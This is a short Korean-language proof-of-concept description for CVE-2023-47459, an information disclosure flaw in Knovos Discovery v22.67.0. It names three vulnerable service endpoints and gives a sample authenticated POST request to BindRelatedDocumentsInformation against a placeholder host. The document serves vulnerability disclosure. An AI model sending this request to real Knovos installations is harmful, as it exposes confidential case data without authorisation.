aleksey-vi/cve-2023-47459CVE-2023-47459에 대한 개념 증명 익스플로잇, Knovos Discovery v22.67.0의 정보 공개 취약점으로, 조작된 HTTP 요청을 통해 기밀 데이터에 대한 원격 액세스를 시연합니다.
Knovos Discovery v.22.67.0에서 원격 공격자가 다음 구성 요소를 사용하여 기밀 정보에 접근할 수 있는 취약점이 발견되었습니다:
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName, /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation 및 /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport.
스택 추적 / 정보 공개
Knovos Discovery
Version 22.67.0 - Version 22.67.0
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport
원격
true
true
인증된 사용자
POST /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation HTTP/1.1
Host: vuln_host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Connection: close
{
"Id": id
}